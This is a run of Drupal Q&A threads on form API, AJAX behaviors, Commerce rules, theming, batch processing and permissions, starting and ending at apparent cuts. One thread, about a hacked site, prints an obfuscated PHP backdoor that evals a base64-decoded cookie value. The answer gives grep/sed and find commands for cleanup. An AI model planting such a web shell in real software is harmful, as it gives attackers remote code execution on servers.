Then clear the drupal cache.


How to include XML file in node for js map rendering? I have a clickable map that uses js, css and xml to display. I previously was provided solutions in a previous thread  How do I implement a clickable JavaScript map? using drupal_add_css() and drupal_add_js().

Can I add multiple CSS files with drupal_add_css() using an array? Or, do I need to list these as separate commands?
The other problem is I need to have an XML file to feed the data into the JavaScript file. I attempted to edit the JavaScript file by hardcoding the XML file location, but that doesn't seem to work.

$.ajax({type: 'GET',url: 'sites/default/files/repfinder/xml/usaMapSettings.xml'

What should I be doing so that the JavaScript code recognizes the XML file? Without it, no map is displayed.

It looks like, according to the demo page you showed, the URL is relative to the path where the JavaScript is loaded; adding a slash in front of URL passed to $.ajax() should work.

$.ajax({type: 'GET', url: '/sites/default/files/repfinder/xml/usaMapSettings.xml'


How can I add a class to #markup output? I'm using this code to add a cancel button to my form.  The link is generated through #markup:

  $form['actions']['cancel'] = array(
    '#markup' => l(t('Cancel'), $destination),
    '#weight' => 20,
  );

I'd like to add a class, cancel, to the link.  I tried adding this line:

'#attributes' => array('class' => array('cancel')),

but the class is not added.  I'm guessing because #attributes cannot modify #markup?  How can I add the class in this case?

You can do this...

$form['actions']['cancel'] = array(
    '#markup' => l(t('Cancel'), $destination, array('attributes' => array('class' => array('cancel')))),
    '#weight' => 20,
  );

The third argument on the 'link' function is for attributes and such...

l($text, $path, array $options = array())

Documentation: http://api.drupal.org/api/drupal/includes%21common.inc/function/l/7


How to set a value programatically only when a content type is saved for the first time? I'm trying to record the user agent string into a text field (field_useragent) the first time a content type is saved.  This is what I tried:

/*
 * Implements hook_ENTITY_TYPE_insert()
 */
function mymodule_node_insert(Drupal\Core\Entity\EntityInterface $entity) {
  if ($entity->getType() == 'my_content_type') {
    // Log the user agent.
    $entity->set("field_useragent", $_SERVER['HTTP_USER_AGENT']);
  }
}

But, this doesn't save the user agent string.  So I tried using this code:

/*
 * Implements hook_ENTITY_TYPE_presave()
 */
function mymodule_node_presave(Drupal\Core\Entity\EntityInterface $entity) {
  if ($entity->getType() == 'my_content_type') {
    // Log the user agent.
    $entity->set("field_useragent", $_SERVER['HTTP_USER_AGENT']);  }
}

This saves the user agent string, but it does so every time the node is edited.  How can I save it only upon insertion?

As per @Ivan Jaros comment:

/*
 * Implements hook_ENTITY_TYPE_presave()
 */
function mymodule_node_presave(Drupal\Core\Entity\EntityInterface $entity) {
  if ($entity->getType() == 'my_content_type') {
    /// Log the user agent if the account is being created.
    if ($entity->isNew()) {
      $entity->set("field_useragent", $_SERVER['HTTP_USER_AGENT']);
    }
  }
}


<?php replaced with <!--?php I am upgrading Drupal 6.26 to Drupal 7. I had a small handful of nodes (a dozen or so) that contained PHP code. After the upgrade, I've found that the <?php tags have been replaced with <!--?php.

I searched the Google but all I found was http://drupal.org/node/1403918. I'm not using the WYSIWYG module though. I am using CKeditor so I followed the advice in post 1 but that didn't resolve the problem.

I have the PHP filter module enabled.

When I try to edit the node, the <?php tags are not HTML comments so I can't fix it that way. How can I fix this?

Edit 1: I don't think CKeditor has anything to do with this actually. I've completed disabled the CKeditor module and I'm still getting issues mentioned above.

Edit 2: I have a script that resets it back to 6.26. When I re-upgraded, the PHP scripts execute before I enable any non-Core modules. I then enabled everything but CKeditor and it fails so I don't think its CKeditor but another module. I will attempt to further diagnose.

You don't have to accept this as an answer, but I would recommend not using CKEditor with the PHP input format. In D7's CKEditor module you're able to attach CKEditor to input formats, as opposed to D6 where you specified textfield IDs and paths and such. Therefore, you can just attach CKEditor to the "Filtered HTML" and "Full HTML" input formats and leave PHP alone. I just think it's a bad idea to try and use wysiwyg formatting that contains code like this.

So, my recommendation would be:
1) Disable CKEditor for the PHP input format.
2) Edit the handful of nodes and replace <!--?php with <?php


Commerce file description not showing I'm using Commerce License and Commerce Files to sell digital downloads (zip files). Usually this works completely fine, so I'm thinking this might be a bug on my site on not in the modules themselves - but I'm not sure.

On one specific product the file description (and therefore the download link) doesn't appear on the user's file tab.

The orders that needs to download are in 'pre-order' paid state (using Commerce Pre-oder, which isn't a problem on other products on our site.

Here's the pre-order rule in case that's causing this:

{ "commerce_preorder_checkout_complete_generate" : {
    "LABEL" : "Generate pre-order pending orders on checkout completion",
    "PLUGIN" : "reaction rule",
    "WEIGHT" : "10",
    "OWNER" : "rules",
    "TAGS" : [ "Commerce Pre-order" ],
    "REQUIRES" : [ "rules", "commerce_preorder", "commerce_checkout" ],
    "ON" : { "commerce_checkout_complete" : [] },
    "IF" : [
      { "entity_has_field" : { "entity" : [ "commerce-order" ], "field" : "commerce_preorder_order" } },
      { "data_is_empty" : { "data" : [ "commerce-order:commerce-preorder-order" ] } }
    ],
    "DO" : [
      { "commerce_preorder_generate_pending_orders" : {
          "USING" : { "commerce_order" : [ "commerce-order" ] },
          "PROVIDE" : { "pending_orders" : { "pending_orders" : "Pending orders" } }
        }
      }
    ]
  }
}

Any ideas as to how to investigate the issue?

You can check the rules that change the order state into: 'pre-order'.
This would be my first guess that the rules are not configured ok.
Hope that i helped.


Custom Login form question In my website have two types people login one is designer another is reader, i want people come to login my website by role. Mean designer go to design login form to login. Reader go to reader login form to login. my question is:

how to show two login forms in same page?
how to check the role when the visiter login at the same time in login form?
is it any module i can use or i need do something customize the user module and how    customize?

Plz help!

Drupal does not support different login forms. User is either logged in or not, and his privileges depend solely on his roles.

You can put a block multiple times on one page using MultiBlock
User has his roles, check them normally. He will have his role no matter what form will he use.
If you want dynamically give roles, yes, you need to write your own module that will act kinda like login handler, but be prepared to live with huge access permissions problems.


Form api AJAX, reload js in #attached 3 times I have a simple form api ajax which does nothing special. In the form I have a js file:

 $form['#attached']['library'][] = 'commerce/cart';

In the js file I put a log console:

function ($, Drupal) {
  Drupal.behaviors.cart = {
    attach: function (context, settings) {
      console.log('aaaa');
  }
});

The log console prints 3 times: "aaaa" after the ajax action is over.
As if the file was loaded 3 times.
If you load the page normally, without ajax, the script runs one time

The log console prints 3 times: "aaaa" after the ajax action is over

That's correct, behaviours are re-attached after AJAX requests. That's actually the point of them - to ensure that Drupal modules can respond to changes in the DOM.

If you want to limit the effect of that, core provides once(). You'll need to add the once library separately, after which you can use, for example:

$(context)
  .find('input.myCustomBehavior')
  .once('myCustomBehavior')
  .addClass('processed');

See the JavaScript API overview for more information.

Of course you don't have to use once, if you don't need the complexity it offers you can just keep track of a boolean that determines whether or not your code should execute again.


Workbench moderation and Views I have a content type which is being managed by Workbench Moderation. This content type has entity reference field. The full page override has been Panelized and has a view pane which displays fields from the referenced entity.

When viewing the published content this all works fine, however, when viewing the 'draft' version of the content using Workbench Moderation the View Pane is obviously only using references from the published revision with the consequence that editors cannot see the affects of their changes, ie adding additional references.

How can I configure the View pane so that it will always list the the referenced entities from the currently viewed revision?

It looks like there are possibily nightmares trying to get Panelizer or IPE and Workbench Moderation to play nice together. I've used both seperately, but not together on 1 site when using Moderation.

See this issue thread for Panelizer and Moderation for possible solutions:

https://www.drupal.org/node/1402860


Update a user field after commerce checkout Im looking for a way to create a rule in drupal commerce that updates a user profile after checkout based on a line item purchased.

Example.  User purchases bulk training hours as a product.  The product has a field called hours which we set to a static number. Assume 10.

When the product is purchased, the hours should be added to the user profile which has a field called training hours.  Whatever the current number of hours in the profile is should be added.  Ie user has 5 hours remaining, pays for 10 more and now shows 15.

I cant figure out a good way to create this rule.

EDIT 2:
So from reading some other posts I see tried to create a component that can be accessed during the loop. For testing purposes I have changed the rule to start when checkout is complete.

It picks up the products and it then loops through the line items but in the loop I still cannot figure out how to access the field called field_coaching_hours that is part of the product.  For not during the loop it emails me each time it finds a line item so I can tell that its working.

I suspect that I need to add up all the field_coaching_hours using a variable and then somehow call a separate rule to add it to the user profile.

Main Rule:

{ "rules_update_coaching_hours" : {
"LABEL" : "Update Coaching Hours",
"PLUGIN" : "reaction rule",
"OWNER" : "rules",
"REQUIRES" : [ "commerce_order", "rules", "commerce_checkout" ],
"ON" : { "commerce_checkout_complete" : [] },
"IF" : [
  { "commerce_order_contains_product_type" : {
      "commerce_order" : [ "commerce_order" ],
      "product_type" : { "value" : {
          "coaching" : "coaching",
          "consulting" : "consulting",
          "product" : "product"
        }
      },
      "operator" : "\u003E=",
      "value" : "1"
    }
  }
],
"DO" : [
  { "LOOP" : {
      "USING" : { "list" : [ "commerce-order:commerce-line-items" ] },
      "ITEM" : { "current_line_item" : "Current line item" },
      "DO" : [
        { "component_rules_get_coaching_hours" : { "current_line_item" : [ "current_line_item" ] } }
      ]
    }
  }
]
}
}

component:

{ "rules_get_coaching_hours" : {
"LABEL" : "Get Coaching Hours",
"PLUGIN" : "rule",
"OWNER" : "rules",
"REQUIRES" : [ "rules", "mimemail" ],
"USES VARIABLES" : { "current_line_item" : { "label" : "Commerce Line Item", "type" : "commerce_line_item" } },
"IF" : [
  { "entity_has_field" : { "entity" : [ "current-line-item" ], "field" : "field_coaching_hours" } }
],
"DO" : [
  { "mimemail" : {
      "USING" : {
        "key" : "SENT",
        "to" : "myemail@email.com",
        "subject" : "Component Rule Run",
        "body" : "[current-line-item:commerce-product]",
        "plaintext" : "[current-line-item:commerce-product]"
      },
      "PROVIDE" : { "send_status" : { "send_status" : "Send status" } }
    }
  }
]
}
}

I did figure this out and its working.  I had to use some extra code to expose the custom field but it does work.

The component is as follows, this extracts the coaching hours and sends it out to the main loop via a provider variable:

{ "rules_get_coaching_hours" : {
"LABEL" : "Get Coaching Hours",
"PLUGIN" : "rule",
"OWNER" : "rules",
"REQUIRES" : [ "rules" ],
"USES VARIABLES" : {
  "current_line_item" : { "label" : "Commerce Line Item", "type" : "commerce_line_item" },
  "included_coaching_hours" : {
    "label" : "Item Coaching Hours Included",
    "type" : "decimal",
    "parameter" : false
  }
},
"IF" : [
  { "data_is" : { "data" : [ "current-line-item:type" ], "value" : "product" } },
  { "data_is" : {
      "data" : [ "current-line-item:commerce-product:type" ],
      "op" : "IN",
      "value" : { "value" : {
          "coaching" : "coaching",
          "consulting" : "consulting",
          "product" : "product"
        }
      }
    }
  },
  { "entity_has_field" : {
      "entity" : [ "current-line-item:commerce-product" ],
      "field" : "field_coaching_hours"
    }
  },
  { "data_is" : {
      "data" : [ "current-line-item:commerce-product:field-coaching-hours" ],
      "op" : "\u003E",
      "value" : "0"
    }
  }
],
"DO" : [
  { "data_set" : {
      "data" : [ "included-coaching-hours" ],
      "value" : [ "current-line-item:commerce-product:field-coaching-hours" ]
    }
  }
],
"PROVIDES VARIABLES" : [ "included_coaching_hours" ]
}
}

The the main rule is as follows.  It loops through the line items and sums up total number of hours.  The last line then updates the custom field in the user record.

{ "rules_update_coaching_hours" : {
"LABEL" : "Update Coaching Hours",
"PLUGIN" : "reaction rule",
"OWNER" : "rules",
"REQUIRES" : [ "commerce_order", "rules", "commerce_payment" ],
"ON" : { "commerce_payment_order_paid_in_full" : [] },
"IF" : [
  { "commerce_order_contains_product_type" : {
      "commerce_order" : [ "commerce_order" ],
      "product_type" : { "value" : {
          "coaching" : "coaching",
          "consulting" : "consulting",
          "product" : "product"
        }
      },
      "operator" : "\u003E=",
      "value" : "1"
    }
  }
],
"DO" : [
  { "variable_add" : {
      "USING" : { "type" : "decimal", "value" : "0" },
      "PROVIDE" : { "variable_added" : { "total_coaching_hours" : "Total Coaching Hours" } }
    }
  },
  { "LOOP" : {
      "USING" : { "list" : [ "commerce-order:commerce-line-items" ] },
      "ITEM" : { "current_line_item" : "Current line item" },
      "DO" : [
        { "component_rules_get_coaching_hours" : {
            "USING" : { "current_line_item" : [ "current_line_item" ] },
            "PROVIDE" : { "included_coaching_hours" : { "included_coaching_hours" : "Item Coaching Hours Included" } }
          }
        },
        { "data_calc" : {
            "USING" : {
              "input_1" : [ "total-coaching-hours" ],
              "op" : "+",
              "input_2" : [ "included-coaching-hours" ]
            },
            "PROVIDE" : { "result" : { "coaching_result" : "Coaching Summation result" } }
          }
        },
        { "data_set" : { "data" : [ "total-coaching-hours" ], "value" : [ "coaching-result" ] } }
      ]
    }
  },
  { "data_calc" : {
      "USING" : {
        "input_1" : [ "commerce-order:owner:field-coaching-hours" ],
        "op" : "+",
        "input_2" : [ "total-coaching-hours" ]
      },
      "PROVIDE" : { "result" : { "updated_hours" : "updated coaching hours" } }
    }
  },
  { "data_set" : {
      "data" : [ "commerce-order:owner:field-coaching-hours" ],
      "value" : [ "updated-hours" ]
    }
  }
]
}
}


Change logo based on taxonomy term I'm trying to change the logo in my header based on the taxonomy term of a page. I have managed to get it working on the taxonomy landing page itself. However, I have content pages that have term references on them which don't pull through the term title.

This the code that allowing me to display the title on the taxonomy page:

$termid = arg(2);
      $term = taxonomy_term_load($termid);
      $title = $term->name;

      $title = str_replace(' ', '', $title);

      $field_organisation->field_organisation['und'][0]['tid'];

I am then stripping out the whitespace and printing the value inside an img tag.

I've tried doing this with views and creating a list of all nodes and adding a contextual filter. Yet this seems to only work the other way. So it only displays the image on the node page itself and NOT the taxonomy landing page.

Any help would be much appreciated.

Thanks.

You can make the code work in 2 situations.

$term = menu_get_object('taxonomy_term', 2);
if (empty($term)) {
  if ($node = menu_get_object('node', 1) ) {
    $wrapper = entity_metadata_wrapper('node', $node);
    $term = $wrapper->field_organisation->value();
  }
}

if ($term) {
  $title = $term->name;
  $title = str_replace(' ', '', $title);
}

entity_metadata_wrapper() is the function provided by module Entity


content_entity_example I'm studying the content_entity_example module and there are some things I'd like to understand better.
In the file content_entity_example.routing.yml there is this block:

entity.content_entity_example_contact.collection:
   path: '/content_entity_example_contact/list'
   defaults:
   # Calls the list controller, defined in the annotation of the contact entity.
     _entity_list: 'content_entity_example_contact'
     _title: 'Contact list'
   requirements:
   # Checks for permission directly.
     _permission: 'view contact entity'

This is the routing path that shows the contact list, but I did not understand what it means

_entity_list: 'content_entity_example_contact'

Examples are avaiable

The examples are available at this link:
Drupal 8 examples

As the comment states, it looks at the defined entity (Contact) and checks the value of the annotation in Contact.php which is Drupal\content_entity_example\Entity\Controller\ContactListBuilder to see what its entity list builder class is. It knows this because content_entity_example_contact resolves to the class, because it has an id annotation defining it as such.

See: https://cgit.drupalcode.org/examples/tree/content_entity_example/src/Entity/Contact.php


Ranking/polling field or webform module I am trying to find a field (ideally, for use with Entity Forms), or a webform module that allows me to poll users.

I have found several modules like "Fivestar" and others that do basic polling, but I want to be able to do relative/comparative ranking.  Essentially I want to be able to give users a list of options (say A, B, C), and allow them to rank in order (1, 2, 3) by their opinions.  Ideally this could be done via a draggable table.

For what it is worth, it appears to be on the roadmap for the pollfield module (https://drupal.org/project/pollfield), but that module doesn't appear to be supported.

Any suggestions or leads would be greatly appreciated.

Rather than use a field for polling, I would recommend using a polling entity created by a module specific to polls. There is a core poll module.

There are also many contributed modules, the choice would depend on your use case: Advanced Poll, Poll Improved, Poll Extras -- and Poll Blocks provide a block for every core poll.

Then add some theming to make the selections draggable. I have created front-end doodads that populate a hidden element on the page - even an entire node body - so you could register the selections that way if you cannot theme the actual poll items.

You may need to use panels/views/context or template file to add the poll to your page.

My favorite place to search for Drupal contributted modules is http://drupalmodules.com/search/node/poll


Load page through ajax what are the options (all possible ways) to open a page through ajax in D7?, also can ctools module be useful in this?

if yes then can anyone provide an example hint using ctools.

Ctools give you a modal frame api as well as many different ajax helpers. This is probably your best bet for implementing AJAX in your site.

As for listing all possible ways there are loads, ranging from custom implementations to contrib modules, your best bet would be to search drupalmodules.com for potential candidates.


How can I run javascript code after an item added or removed from an unlimited value field? I am trying to add some js functionality to an unlimited value field in Drupal 7, it works on page load, but disappears after adding or removing an item, and I did not find a way to notify my code that the table is reloaded, and it is time to reinitialize those functions on the fields. How can I do this?

Create a Drupal behavior. It will be attached to each field when the page loads as well as to new fields added after any ajax calls (adding or removing).

Here is a basic example that will log a click on the text boxes in the field field_fieldname

(function ($) {
  // Logclick is an arbitrary unique behavior name
  Drupal.behaviors.logclick = {
    // Context here allows your function to run on ajax calls
    attach: function(context, settings) {
      // Your custom jQuery goes here
      $(".field-name-field-fieldname input.form-text",context).once('logclick',function() {
        $(this).click(function() {
          console.log('text box clicked');
          return false;
        });
      });
    }
  };
})(jQuery);

logclick can be changed to whatever you want to call your behavior.


define a template file for a field item in my modules I wish to register a template file for use with a filed item, but I can't wrap my head around it.

here is what I am trying to achieve.
In my field widget Formatter

public function viewElements(FieldItemListInterface $items, $langcode) {
$elements = [];

foreach ($items as $delta => $item) {
  $elements[$delta] = [
    '#markup' => $this->viewValue($item),
    '#theme' => 'my-field-item-template',
  ];
}

return $elements;

}

Then in my .module file

function mymodule_theme($existing, $type, $theme, $path){
return array('myplugin' =>
    array(
        'variables' => array(
            'other elements' => 'other elements',
            ),
            'template' => 'my-field-item-template'
        )
    );

}

I wish to print my 'variables' in my twig file, I believe my template file is not registered for use with my field item this way. What's the right way?

In hook_theme you define and register your templates.

In your code your template will be "myplugin".
To use that template you need to specify "#theme" => "myplugin" in your render array (not my-field-item-template). Then twig tries to render your content with the file called "myplugin.html.twig". This twig file should be stored in the templates directory of your module.

You may read this https://www.drupal.org/docs/8/theming/twig/debugging-twig-templates to learn more about debugging theming.


with BEF collapse expand items under their parent How to collapse and expand items under their parent using better exposed filter and Nested Checkboxes ..
What i mean ...that all the child items to be collapsed and they expand when the user click on (+ e.g) for the parent or check the parent box.
I am making a car dealer website and i need that to make an advanced search.
Any help will be appreciated.

I fixed this issue and here is the solution for any one want to do the same, based on this conversion Collapse and Expand according to Hierarchy

add this code to your theme and you can use this module to add Javascript or CSS through the views page or block Code per Views Display

This code will add a + button beside the every parent, which will expand the checkboxes when clicked

(function ($) {
Drupal.behaviors.betterExposedFiltersExpandCollapseNested = {
attach:function (context, settings) {
  if (!('$befSetupDone' in window)) {
    $('ul.bef-tree-child.bef-tree-depth-1').css('display', 'none');
    var $expander = $('+');
    $('ul.bef-tree-child > li:has(ul) > div.form-item').prepend($expander);
    $('.expander')
      .click(function() {
        $ul = $(this).parents('li:first').find('ul');
        $ul.toggle('fast');
     })
    $befSetupDone = 1;
  }
 }
 }
 }) (jQuery);

and another code which will expand when the parent checkbox checked

(function ($) {
Drupal.behaviors.betterExposedFiltersExpandCollapseNested = {
attach:function (context, settings) {
  // first collapse the children
  $('ul.bef-tree-child.bef-tree-depth-1').css('display', 'none');
  $('.form-checkboxes.bef-select-all-none li').has('ul').once('bef-tree', function () {
    $(this)
      .find('input.form-checkboxes:first')
      .click(function() {
        $ul = $(this).parents('li:first').find('ul');
        if($(this).attr('checked')) {
          $ul.slideDown('fast');
        }
        else {
          $ul.slideUp('fast');
        }
      })
   });
  }
 }
}) (jQuery);

Note: You will have to choose (Nested Checkboxex/Radio Buttons) and check this option in better exposed filter

  Add select all/none links


Is possible to choose the file_default_scheme to save avatars? I'm using amazonS3 module and if I choose Amazon Simple Storage Service as my default download option, user's avatars are uploaded to my bucket in Amazon. I wish I could choose the default_scheme for avatars but checking the user_save function code I found these:

 if (!empty($account->picture->fid) && (!isset($account->original->picture->fid) || $account->picture->fid != $account->original->picture->fid)) {
    $picture = $account->picture;
    // If the picture is a temporary file move it to its final location and
    // make it permanent.
    if (!$picture->status) {
      $info = image_get_info($picture->uri);
      $picture_directory =  file_default_scheme() . '://' . variable_get('user_picture_path', 'pictures');

So I think that it uses the default scheme selected. Is it possible to change it?

Thanks

file_default_scheme() returns a variable using variable_get(), unfortunately it just returns it straight without hooking out to any other modules.

For modules that call user_save() directly I don't see any way around this without patching the user module, there's just no way to intercept it.

For the user profile and registration forms you might be able to override the submit handlers, and call your own version of user_save() which contains logic to choose the right file scheme. I don't have time to test it but it would probably look something like this:

function MYMODULE_form_alter(&$form, &$form_state, $form_id) {
  if ($form_id == 'user_profile_form') {
    // Remove the standard submit handler
    if(($key = array_search('user_profile_form_submit', $form['#submit'])) !== FALSE) {
      unset($form['#submit'][$key]);
    }
    // And add the custom one
    $form['#submit'][] = 'MYMODULE_user_profile_form_submit';
  }
}

function MYMODULE_user_profile_form_submit($form, &$form_state) {
  // Copy the code from user_profile_submit() and change the user_save()
  // line to MYMODULE_user_save()
}

function MYMODULE_user_save($account, $edit = array(), $category = 'account') {
  // Copy the code from user_save() and change the file scheme as required.
}

There might be some caveats to that I haven't though of but hopefully it'll provide a good place to start.


Expand content if sidebar isn't used I've been learning Drupal myself for over a year now. I've mainly used templates all the time and changed the css. This time I made my own template and put php in it for the first time. Everything worked but I was wondering how I can expand my content box if a sidebar isnt used? Oh, I'm using Bootstrap's css

Snippet of php:

    <?php if ($page['sidebar_first']): ?>

    <?php print render($page['sidebar_first']); ?>

<?php endif; ?>

          <?php print render($page['content']) ?>

    <?php if ($page['sidebar_second']): ?>

        <?php print render($page['sidebar_second']); ?>

    <?php endif; ?>

They all have span4 but what I want is when sidebar 1 isn't used, then content id changes to span8

I think the simplest solution would be:

<div id="content-area" class="span<?php echo $page['sidebar_first'] ? '4' : '8'; ?>">


Joomla to Drupal: how to use migrate module I want to move my website from joomla to drupal. I read that the migrate module is the appropriate but i don't know how to use it. Can someone give guides to do this.

Use Joomla to Drupal Module

  This module enables the import of the following content from a Joomla
  website into Drupal.

  Users
  Sections & Categories into Taxonomy Vocabularies and Terms
  Content items to nodes

If you want to use Migrate module, Here is the link Getting started with Migrate


What is wrong with the following api call to logout user? When i call drupal rest api to logout with following parameters

axios.post('http://my-lando-app.lndo.site/user/logout?_format=json', {
    'csrf_token':  this.state.csrf_token,
    'logout_token' : this.state.logout_token,
    'Content-type': 'application/json'
})

I get response

{"message":"\u0027csrf_token\u0027 URL query argument is missing."}

what is wrong with my request?

I encountered this error with angularjs(D8.5). This code works for me.

getUserLogout(logoutToken,csrfToken) {
  // post logout
  return this.http.get(
    'http://localhost:8082/d8/api/user/logout?_format=json&token='+logoutToken,
    {
      headers:
      {
        'X-CSRF-Token': csrfToken
      },
      withCredentials: true
    }
  );
}


Author ID mistaken with node id I am making a website where certain users can create events. They can also create a page with information about their events in general. On the bottom of the general events page, I would like to display all events created by that user.

I am working with EVA do fetch all events. I thought I should make a contextual filter, targetting the author:id(110), but this doesn't work. When I debug, I notice that Views thinks the author id(should be 110) is the node id(=56). Am I doing something wrong?

Kind regards,
Tom

In the EVA Field display of the View you'll see a section there called "Entity content settings." Make sure the settings there are as follows:

a. Entity type: Node
b. Bundles: select the event type content type that you want to appear at the bottom.
c. Arguments: Choose: "Use tokens from the entity the view is attached to" and then add the following token (with brackets) where it asks for the token: [node:author:uid]

Now set the contextual filter for the EVA field display as follows:
Author uid
with the following setting:
Provide default value: User ID from URL.
Optionally, if you want to include something like "Events created by Jane Smith" at the top of the EVA view, then you need to add a relationship to the User. Then in the "Fields" section add user name and set it to "Exclude from display." Create a header for the view and choose "Global text" and check on the functionality to allow the use of tokens in the text. The user name token will be [name].

That's it. You'll be good.

I think it is worth to note what's a bit confusing here. It might help you to remember next time.
a. "User ID from URL" is really a misnomer. It's getting the User id from the node. The user id is not in the URL at all.
b. It feels like the filter/argument is being set twice; once in the Entity settings and then again in the Contextual filter settings.


My Drupal was hacked: Remote Code Execution – base64_decode() with ‘PCT4BA6ODSE_’ today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?

Your site has indeed been hacked.  Many possibilities of a backdoor exist now.
You can start by upgrading to 7.32 or better and downloading the Hacked! module and scanning your system files for changes.
You can also use one of the following commands to find the exploited files.

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'
find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name "*.php"

The latter command will find all files that end in .php which were last modified in October. To search instead the files for which the permissions were changed in October, replace -newermt with -newerct.


How to display content of a link in a tooltip on hover I need to display the content returned from a link in a tooltip on hovering over that link.

I know about the some jquery plugins, which displays inline content, But didn't come across any plugin which satisfy my requirement.

If any one know any tooltip plugin, which loads the content from a link and displays it on hover, please help me.

Thanks in advance for any help,

Beauty Tips is a drupal module and a jQuery plugin that will allow you to display content tooltip style via hover, click or a range of other events.

There is to my knowledge not built in support for loading content from different placed, but this is near trivial with the power of jQuery AJAX APIs.


How to create a read-only flag that can only be used by an admin to actually flag nodes? Long story short, I installed Flag because Best Answer was not working properly.  Is it possible to configure flags so that only the admin can flag something (aka an answer as being approved) but everyone can view the flag?

Try setup Flag as "global flag" and then in "Flag access" setup "Roles that may use this flag" check-boxes only for Admin.

If in this case flag will not be shown for other users - you need create script that get flag value for each node and display this info.

$flag = flag_get_flag(FLAG_NAME);
$node->flag_value = $flag->get_count($node->nid);


How to solve claimitem() in batch process? I am doing batch process in D8.
here is my code:
This code is in Controller.php

$batch = array(
          'title' => t('Started Importing node Data.'),
          'error_message' => t('Error!'), //Error Message
          'finished' => 'node_data_import_batch_finished',
        );
        $count_nodes = '';
        $j = 0;
        $data_chunk = array_chunk($csv, 100);
        foreach ($data_chunk as $node_created) {
          $count_nodes += count($node_created);
          $batch['operations'][] = array('node_data_import_batch', array($node_created,  $keys));
          $j++;
        }
        batch_set($batch);

And callback function is in .module

function node_data_import_batch($node_created,  $keys){
//Code here
}

function node_data_import_batch_finished($success, $results, $operations){
 if ($success) {
    $message = "Batch Process Successfully executed for Node Data.";
    drupal_set_message($message);
  }
}

I am getting error like this.
Any help will be appreciable
Thanks.

Add the 'file' key in your batch:

  file: Path to the file containing the definitions of the 'operations'
  and 'finished' functions, for instance if they don't reside in the
  main .module file. The path should be relative to base_path(), and
  thus should be built using drupal_get_path().

$batch = array(
  'title' => t('Started Importing node Data.'),
  'error_message' => t('Error!'), //Error Message
  'finished' => 'node_data_import_batch_finished',
  'file' => drupal_get_path('module', 'YOUR_MODULE_NAME') . '/YOUR_MODULE_NAME.module',
);


Disable email registration requirement in Drupal 7 I've already removed e-mail validation, but the requirement that each user supply a unique e-mail address needs to be removed too. How can I go about doing that without resorting to a messy workaround like dummy e-mail addresses (which cause problems like making contact forms silently fail)?

For removing unique e-mail address requirement see Shared Email module:

  The shared email module allows multiple users to use the same email address for different accounts. The module works for both registration and account updates.

Disabling email requirement for registration is quite complicated task because many things in Drupal use mail notifications. I can recommend to set special email users.without.mail@yoursite.com for users without emails.


How to enable plain text format for body in specific content type I have one content type, where I want to restrict the body field to plain text only. In Drupal 7, there was an option to set the plain text format explicitly in field configuration; however in Drupal 8, there is no "plain text" option in the select box. I cannot change user permissions to text formats, because I want to have plain text for the administrator as well.

In Drupal 7:

In Drupal 8:

So please, how to force the plain text in body field? Do I have to create a new text format? If so, why such a nonsense (my desired text format already exists, but cannot be used)?

Thanks!

See the issue Allow text field to enforce a specific text format. You can use the patch from this issue or install the module Allowed Formats which provides these options in the text field configuration:


How do I get the list of permissions? I am trying to use  the group method hasPermission(permission_label, user). I found an example that  is the following:

$group->hasPersmission('administer members', $user)

I would like to know what all the different permissions types are. In particular I want to be able to differentiate whether a user can edit or just view a type of content.

How do I a get a list of the different types of permissions?

Thanks,

Olivier

You can go to Admin -> Group -> Group Types -> [your group type]. On that page, click the Permissions tab. You can see all the permissions there. If you need to know the permissions string, you can inspect any checkbox for a given role/permission combo, and look at the name attribute. It will be something like admin[permission_label], where permission_label is the value you would pass as the first argument to $group->hasPermission().


How to know if a site is Multilingual programmatically? In Drupal 7 I used drupal_multilingual() to know if a site is multilingual, but this function was renamed in Drupal 8 to language_multilingual(), the problem is that it seems that language_multilingual() is not longer available.

I found that LanguageManager::isMultilingual should return:

  bool TRUE if more than one language is added, FALSE otherwise.

But when you go to see the code always FALSE is returned.

public function isMultilingual() {
  return FALSE;
}

This is an error or I missing something?

Searching I found in drupalcontrib a reference to the language_multilingual() function that show the following code:

function language_multilingual() {
  return Drupal::languageManager()->isMultilingual();
}

So I used Drupal::languageManager()->isMultilingual(); and it seems that returns the good value.

I'll do tomorrow a test in a not multilingual site to confirm.


Get list of available options in a select field of custom content type I created a custom content type called 'slide' that has a custom select field called 'field_category'. I would like to be able to load the available options of 'field_category' into the select field of a block form.

I'm currently attempting to follow the instructions of an answer to a similar question here but I'm still having trouble.

I'm grabbing the content type definitions like so

$definitions = \Drupal::service('entity_field.manager')->getFieldDefinitions('node', 'slide');

However when I spit out

print_r($definitions->getFieldDefinition('field_category'))

I can't actually find any of the options to grab. Is there a way to grab the available options of a field of a custom content type programmatically?

$definitions = \Drupal::service('entity_field.manager')->getFieldDefinitions('node', 'slide');
$definition = $definitions['field_category'];
$settings = $definition->getSettings();
$allowed_values = $settings['allowed_values'];


How to set up OpenSearch in Drupal? I would like to set up OpenSearch so it works in Drupal 7 so the search experience can be integrated with the user browser the way it is done on drupal.stackexchange.com.

I found the following contrib modules (none ported for D7):

http://drupal.org/project/opensearchplugin - D5, D6
http://drupal.org/project/opensearch - D6
http://drupal.org/project/opensearch_aggregator - D5, D6

What is the current solution for this for D7 ?

From looking at these three modules closer, I see that only the opensearch module has a 7.x branch: https://drupal.org/node/74142/release.  You could try using that branch, but it probably not ready for a production system.

It looks like Kiam is the module author you may be able to contact him to find out if he is planning to complete the Drupal 7 version.


Why is 1 of 8 menu choices not displaying for anonymous users? I have a migrated a Drupal 6 site to Drupal 8, but in order to update the content
I remigrated it. In my Primary link menu I have 8 menus, but
now one of then is shown only to the administrator user.

About Board of  Water  Construction Business Finance Community News &
